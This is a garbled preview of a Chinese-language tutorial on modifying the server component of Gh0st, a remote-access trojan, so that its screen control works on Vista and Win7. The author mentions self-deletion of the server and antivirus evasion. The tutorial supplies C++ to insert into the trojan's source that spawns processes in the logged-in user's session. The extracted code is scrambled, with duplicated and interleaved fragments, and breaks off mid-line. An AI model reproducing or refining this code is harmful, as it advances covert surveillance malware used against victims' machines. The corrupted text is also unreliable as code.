Gh0st屏幕控制完美支持VistaWin7.docxVIP

  • 18
  • 0
  • 约6.05千字
  • 约 7页
  • 2021-04-13 发布于天津
  • 举报
Gh0st 屏幕控制完美支持 Vista Win7 之前发了个 GH0st 动态版 .看到留言说不支持 win7, 我想 说下 ,那东西是我两年前改的 .只是前几天整理硬盘的时候看 到发上来 .所以有 BUG 和不免杀是很正常的事 .这两天帮朋 友改一个 gh0st, 在测试 win7 功能的时候发现以前网上公布 的方法不是很好兼容 ,虽然屏幕可以用 ,但是上线速度很慢 ,而 且服务端不会自删除 .更重要的是还得用管理员模式才能运 行,反复找资料和测试 .终于解决了 gh0st 完美兼容 Win7 和 Vista 的问题 ,双击就可以运行 ,我尽量把笔记写的详细些 .如 果还有朋友不懂的话可以给我留言或者到 方法有 2 种 .我说其中 /9.htm 这留言 .我看到会给你回复的 方法有 2 种 .我说其中 种吧 .打开 server 的 until.cpp 文件 . 在最后面 #endif 在最后面 #endif 的上面加上下列代码 DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand ) { DWORD dwRet { DWORD dwRet = 0; PROCESS_INFORMATION pi; STARTUPINFO si;DWORD dwSessionId; pi; STARTUPINFO si; DWORD dwSessionId; HANDLE hUserToken = HANDLE hUserToken = NULL; HANDLE hUserTokenDup = hUserTokenDup = NULL; HANDLE hPToken = NULL; HANDLE hProcess = NULL;DWORD HANDLE hProcess = NULL; DWORD dwCreationFlags; HMODULE hInstKernel32 NULL; typedef DWORD (WINAPI *WTSGetActiveConsoleSessionIdPROC)(); WTSGetActiveConsoleSessionIdPROC ifWTSGetActiveConsoleSessionId = NULL; if hInstKernel32 = LoadLibrary(Kernel32.dll); (!hInstKernel32){ return FALSE;WTSGetActiveConsoleSessionId =(WTSGetActiveConsoleSessionIdPROC)GetProcAddress(hInstKernel32,WTSGetActiveConsoleSessionId);//Log the client on to the local computer.dwSessionId =WTSGetActiveConsoleSessionId();do{ WTSQueryUserToken( dwSessionId,amp;hUserToken ); dwCreationFlags (!hInstKernel32) { return FALSE; WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdPROC)GetProcAddress( hInstKernel32,WTSGetActiveConsoleSessionId); // Log the client on to the local computer. dwSessionId = WTSGetActiveConsoleSessionId(); do { WTSQueryUserToken( dwSessionId,amp;hUserTok en ); dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE; ZeroMemory( amp;si, sizeof( STARTUPINFO ) ); si.cb= sizeof( STARTUPINFO ); si.lpDesktop = winsta0\\default;ZeroMemory( amp;pi, sizeof(pi) winsta0\\default; ZeroMemory( amp;pi, sizeof(pi) ); TOKEN_PRIVILEGES tp;LUID luid; TOKEN_PRIVILEGES tp; LUID luid; if( !::OpenProcessToken( GetCurrentProcess(), TOKE

文档评论(0)

1亿VIP精品文档

相关文档